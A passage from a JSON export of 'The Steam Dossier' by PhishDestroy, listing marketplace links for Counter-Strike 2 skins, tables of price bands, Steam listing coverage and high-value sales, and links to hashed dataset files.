            "url": "https://csfloat.com/search?market_hash_name=M4A4%20%7C%20Howl%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/M4A4%20%7C%20Howl%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Sport%20Gloves%20%7C%20Superconductor%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Superconductor%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Sport%20Gloves%20%7C%20Superconductor%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Gungnir%20%28Battle-Scarred%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Gungnir%20%28Battle-Scarred%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Gungnir%20%28Battle-Scarred%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Sport%20Gloves%20%7C%20Vice%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Vice%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Sport%20Gloves%20%7C%20Vice%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=M4A4%20%7C%20Howl%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=M4A4%20%7C%20Howl%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/M4A4%20%7C%20Howl%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Sport%20Gloves%20%7C%20Hedge%20Maze%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=StatTrak%E2%84%A2%20AK-47%20%7C%20Vulcan%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Vulcan%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/StatTrak%E2%84%A2%20AK-47%20%7C%20Vulcan%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AK-47%20%7C%20Wild%20Lotus%20%28Well-Worn%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Wild%20Lotus%20%28Well-Worn%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Wild%20Lotus%20%28Well-Worn%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Dragon%20Lore%20%28Well-Worn%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Well-Worn%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Dragon%20Lore%20%28Well-Worn%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AK-47%20%7C%20Hydroponic%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Hydroponic%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Hydroponic%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Medusa%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Medusa%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Medusa%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Specialist%20Gloves%20%7C%20Pillow%20Punchers%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Specialist%20Gloves%20%7C%20Pillow%20Punchers%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Specialist%20Gloves%20%7C%20Pillow%20Punchers%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Sport%20Gloves%20%7C%20Pandora%27s%20Box%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=M4A4%20%7C%20Howl%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=M4A4%20%7C%20Howl%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/M4A4%20%7C%20Howl%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Dragon%20Lore%20%28Battle-Scarred%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Dragon%20Lore%20%28Battle-Scarred%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Dragon%20Lore%20%28Battle-Scarred%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=Desert%20Eagle%20%7C%20Cobalt%20Disruption%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=Desert%20Eagle%20%7C%20Cobalt%20Disruption%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/Desert%20Eagle%20%7C%20Cobalt%20Disruption%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20BOOM%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20BOOM%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20BOOM%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AK-47%20%7C%20Case%20Hardened%20%28Well-Worn%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Case%20Hardened%20%28Well-Worn%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Case%20Hardened%20%28Well-Worn%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Graphite%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Graphite%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Graphite%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Talon%20Knife%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Kukri%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Kukri%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Kukri%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Kukri%20Knife%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Kukri%20Knife%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Kukri%20Knife%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=%E2%98%85%20Ursus%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=%E2%98%85%20Ursus%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/%E2%98%85%20Ursus%20Knife%20%7C%20Case%20Hardened%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AK-47%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Case%20Hardened%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AK-47%20%7C%20Red%20Laminate%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Red%20Laminate%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Red%20Laminate%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Asiimov%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Asiimov%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Asiimov%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AK-47%20%7C%20Vulcan%20%28Field-Tested%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Vulcan%20%28Field-Tested%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Vulcan%20%28Field-Tested%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=StatTrak%E2%84%A2%20AK-47%20%7C%20Nightwish%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Nightwish%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/StatTrak%E2%84%A2%20AK-47%20%7C%20Nightwish%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Lightning%20Strike%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Lightning%20Strike%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Lightning%20Strike%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=StatTrak%E2%84%A2%20AWP%20%7C%20Redline%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AWP%20%7C%20Redline%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/StatTrak%E2%84%A2%20AWP%20%7C%20Redline%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=StatTrak%E2%84%A2%20AWP%20%7C%20Asiimov%20%28Battle-Scarred%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AWP%20%7C%20Asiimov%20%28Battle-Scarred%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/StatTrak%E2%84%A2%20AWP%20%7C%20Asiimov%20%28Battle-Scarred%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AK-47%20%7C%20Redline%20%28Minimal%20Wear%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AK-47%20%7C%20Redline%20%28Minimal%20Wear%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AK-47%20%7C%20Redline%20%28Minimal%20Wear%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=AWP%20%7C%20Crakow%21%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=AWP%20%7C%20Crakow%21%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/AWP%20%7C%20Crakow%21%20%28Factory%20New%29"
          },
          {
            "label": "Skinport",
            "url": "https://skinport.com/market?search=StatTrak%E2%84%A2%20AK-47%20%7C%20Vulcan%20%28Factory%20New%29"
          },
          {
            "label": "CSFloat",
            "url": "https://csfloat.com/search?market_hash_name=StatTrak%E2%84%A2%20AK-47%20%7C%20Vulcan%20%28Factory%20New%29"
          },
          {
            "label": "Steam",
            "url": "https://steamcommunity.com/market/listings/730/StatTrak%E2%84%A2%20AK-47%20%7C%20Vulcan%20%28Factory%20New%29"
          },
          {
            "label": "Steam Community Market FAQ",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022227/https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "Steam Subscriber Agreement § 3.C",
            "url": "https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924114457/https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "the atlas dataset",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-atlas.json"
          },
          {
            "label": "the grading and artefact screen",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-artefact-screen.json"
          },
          {
            "label": "the underlying census",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-above-the-ceiling.json"
          },
          {
            "label": "the manifest with the SHA-256 of each raw snapshot",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-manifest.json"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Price band",
                "Item categories",
                "With a live Steam ask",
                "Steam coverage",
                "Copies listed off Steam"
              ],
              [
                "1¢–10¢",
                "4,632",
                "4,632",
                "100%",
                "8,223,227"
              ],
              [
                "10¢–$1",
                "7,152",
                "6,931",
                "96.9%",
                "5,488,315"
              ],
              [
                "$1–10",
                "8,568",
                "8,213",
                "95.9%",
                "3,939,538"
              ],
              [
                "$10–100",
                "5,941",
                "5,780",
                "97.3%",
                "1,328,255"
              ],
              [
                "$100–300",
                "2,329",
                "2,121",
                "91.1%",
                "364,466"
              ],
              [
                "$300–1k",
                "1,292",
                "992",
                "76.8%",
                "187,504"
              ],
              [
                "$1k–1.8k",
                "193",
                "28",
                "14.5%",
                "40,281"
              ],
              [
                "$1.8k–3k",
                "70",
                "2",
                "2.9%",
                "9,592"
              ],
              [
                "$3k–10k",
                "67",
                "1",
                "1.5%",
                "6,706"
              ],
              [
                "$10k–30k",
                "18",
                "0",
                "0%",
                "1,366"
              ],
              [
                "$30k–100k",
                "3",
                "0",
                "0%",
                "21"
              ],
              [
                "$100k+",
                "1",
                "0",
                "0%",
                "2"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "",
            "rows": [
              [
                "Item",
                "Cheapest live ask",
                "Set aside"
              ],
              [
                "Souvenir P2000 | Wicked Sick (Minimal Wear)",
                "$148,954",
                "$1,489,543"
              ],
              [
                "★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 1",
                "$37,239",
                "$119,163"
              ],
              [
                "Souvenir USP-S | Printstream (Factory New)",
                "$2,000",
                "$59,582"
              ],
              [
                "★ Bowie Knife | Crimson Web (Factory New)",
                "$2,957",
                "$43,030"
              ],
              [
                "★ Karambit | Marble Fade (Factory New) | 1st",
                "$11,916",
                "$38,874"
              ],
              [
                "Sticker | Ninjas in Pyjamas (Holo) | Katowice 2014",
                "$5,000",
                "$31,748"
              ],
              [
                "Souvenir AWP | Dragon Lore (Battle-Scarred)",
                "$4,225",
                "$29,157"
              ],
              [
                "★ Karambit | Doppler (Minimal Wear) | Ruby",
                "$7,122",
                "$27,273"
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "",
            "rows": [
              [
                "Item",
                "Highest sale",
                "Median sale",
                "Sales",
                "Cheapest ask now",
                "Steam",
                "Check it"
              ],
              [
                "AWP | Gungnir (Factory New)",
                "$14,192",
                "$11,343",
                "5",
                "$11,490",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "StatTrak™ M4A4 | Howl (Factory New)",
                "$12,387",
                "$12,387",
                "1",
                "$13,836",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Dragon Lore (Factory New)",
                "$11,779",
                "$11,063",
                "16",
                "$10,941",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AK-47 | Wild Lotus (Minimal Wear)",
                "$11,693",
                "$11,693",
                "1",
                "$9,946",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Gungnir (Minimal Wear)",
                "$10,437",
                "$10,437",
                "1",
                "$9,610",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "StatTrak™ AK-47 | Blue Laminate (Minimal Wear)",
                "$9,772",
                "$37",
                "76",
                "$30",
                "$40",
                "Skinport CSFloat Steam"
              ],
              [
                "StatTrak™ M4A4 | Howl (Minimal Wear)",
                "$9,463",
                "$9,463",
                "1",
                "$9,500",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Dragon Lore (Minimal Wear)",
                "$9,104",
                "$9,026",
                "6",
                "$8,524",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Sport Gloves | Hedge Maze (Minimal Wear)",
                "$8,139",
                "$8,139",
                "1",
                "$6,819",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AK-47 | Wild Lotus (Field-Tested)",
                "$7,617",
                "$7,390",
                "4",
                "$7,194",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "StatTrak™ M4A4 | Howl (Field-Tested)",
                "$7,615",
                "$7,615",
                "1",
                "$7,100",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Gungnir (Field-Tested)",
                "$7,149",
                "$7,006",
                "2",
                "$7,165",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Dragon Lore (Field-Tested)",
                "$6,711",
                "$6,194",
                "15",
                "$5,988",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "M4A4 | Howl (Factory New)",
                "$6,679",
                "$6,613",
                "3",
                "$6,628",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Sport Gloves | Superconductor (Factory New)",
                "$6,084",
                "$6,084",
                "1",
                "$7,969",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Gungnir (Battle-Scarred)",
                "$5,750",
                "$5,413",
                "3",
                "$5,899",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Sport Gloves | Pandora's Box (Minimal Wear)",
                "$5,520",
                "$5,508",
                "3",
                "$4,998",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Sport Gloves | Vice (Factory New)",
                "$5,385",
                "$5,158",
                "2",
                "$5,700",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "M4A4 | Howl (Minimal Wear)",
                "$5,342",
                "$4,989",
                "19",
                "$4,997",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Sport Gloves | Hedge Maze (Field-Tested)",
                "$5,334",
                "$4,862",
                "5",
                "$3,724",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "StatTrak™ AK-47 | Vulcan (Factory New)",
                "$5,275",
                "$1,418",
                "12",
                "$1,280",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AK-47 | Wild Lotus (Well-Worn)",
                "$4,978",
                "$4,978",
                "1",
                "$4,942",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Dragon Lore (Well-Worn)",
                "$4,931",
                "$4,931",
                "1",
                "$5,445",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AK-47 | Hydroponic (Factory New)",
                "$4,802",
                "$4,351",
                "2",
                "$3,648",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Talon Knife | Case Hardened (Minimal Wear)",
                "$4,588",
                "$466",
                "16",
                "$442",
                "$630",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Medusa (Factory New)",
                "$4,484",
                "$4,484",
                "1",
                "$4,171",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Specialist Gloves | Pillow Punchers (Factory New)",
                "$4,359",
                "$4,359",
                "1",
                "$4,302",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Sport Gloves | Pandora's Box (Field-Tested)",
                "$4,359",
                "$3,666",
                "11",
                "$3,245",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "M4A4 | Howl (Field-Tested)",
                "$4,289",
                "$4,225",
                "8",
                "$4,022",
                "absent",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Dragon Lore (Battle-Scarred)",
                "$4,124",
                "$4,124",
                "1",
                "$4,279",
                "absent",
                "Skinport CSFloat Steam"
              ]
            ]
          },
          {
            "id": "table-4",
            "caption": "",
            "rows": [
              [
                "Item",
                "High vs median",
                "Highest sale",
                "Median sale",
                "Sales",
                "Check it"
              ],
              [
                "★ Talon Knife | Case Hardened (Minimal Wear)",
                "+884%",
                "$4,588",
                "$466",
                "16",
                "Skinport CSFloat Steam"
              ],
              [
                "Desert Eagle | Cobalt Disruption (Factory New)",
                "+859%",
                "$1,210",
                "$126",
                "115",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | BOOM (Minimal Wear)",
                "+814%",
                "$1,232",
                "$135",
                "89",
                "Skinport CSFloat Steam"
              ],
              [
                "AK-47 | Case Hardened (Well-Worn)",
                "+769%",
                "$1,720",
                "$198",
                "70",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Graphite (Factory New)",
                "+761%",
                "$1,469",
                "$171",
                "124",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Talon Knife | Case Hardened (Field-Tested)",
                "+509%",
                "$2,437",
                "$400",
                "48",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Kukri Knife | Case Hardened (Minimal Wear)",
                "+448%",
                "$723",
                "$132",
                "69",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Kukri Knife | Case Hardened (Field-Tested)",
                "+415%",
                "$549",
                "$106",
                "128",
                "Skinport CSFloat Steam"
              ],
              [
                "★ Ursus Knife | Case Hardened (Minimal Wear)",
                "+371%",
                "$597",
                "$127",
                "12",
                "Skinport CSFloat Steam"
              ],
              [
                "AK-47 | Case Hardened (Field-Tested)",
                "+369%",
                "$1,037",
                "$221",
                "125",
                "Skinport CSFloat Steam"
              ],
              [
                "AK-47 | Red Laminate (Minimal Wear)",
                "+360%",
                "$552",
                "$120",
                "18",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Asiimov (Field-Tested)",
                "+351%",
                "$528",
                "$117",
                "439",
                "Skinport CSFloat Steam"
              ],
              [
                "AK-47 | Vulcan (Field-Tested)",
                "+337%",
                "$865",
                "$198",
                "241",
                "Skinport CSFloat Steam"
              ],
              [
                "StatTrak™ AK-47 | Nightwish (Factory New)",
                "+322%",
                "$625",
                "$148",
                "31",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Lightning Strike (Factory New)",
                "+319%",
                "$2,065",
                "$493",
                "198",
                "Skinport CSFloat Steam"
              ],
              [
                "StatTrak™ AWP | Redline (Minimal Wear)",
                "+312%",
                "$574",
                "$139",
                "24",
                "Skinport CSFloat Steam"
              ],
              [
                "StatTrak™ AWP | Asiimov (Battle-Scarred)",
                "+287%",
                "$524",
                "$135",
                "37",
                "Skinport CSFloat Steam"
              ],
              [
                "AK-47 | Redline (Minimal Wear)",
                "+277%",
                "$562",
                "$149",
                "112",
                "Skinport CSFloat Steam"
              ],
              [
                "AWP | Crakow! (Factory New)",
                "+275%",
                "$379",
                "$101",
                "72",
                "Skinport CSFloat Steam"
              ],
              [
                "StatTrak™ AK-47 | Vulcan (Factory New)",
                "+272%",
                "$5,275",
                "$1,418",
                "12",
                "Skinport CSFloat Steam"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-atlas.json",
          "sha256": "eb5655a8c913bfb1e9ac9ff7077ebe6e1cbfbd2c966aebbb9dd4a6aeac60af83",
          "bytes": 758388
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-artefact-screen.json",
          "sha256": "7b800a01605a7542d831a4c1a6765babe3b9d5fb93165b70b85bd1ec7b7d1bd6",
          "bytes": 291595
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-above-the-ceiling.json",
          "sha256": "ba1298a401d9288bc3f5d772560ee8939dc6f090daad2d4ed6c9f5456f84fc88",
          "bytes": 287888
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-manifest.json",
          "sha256": "ac6f818ec475994f41df11d2d186589aa2f563bb80803225c4acb31e1895e1ba",
          "bytes": 6675
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "social_graph",
      "language": "en",
      "title": "Follow the recorded connections — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/social_graph",
      "source_file": "steam_dossier/social_graph.html",
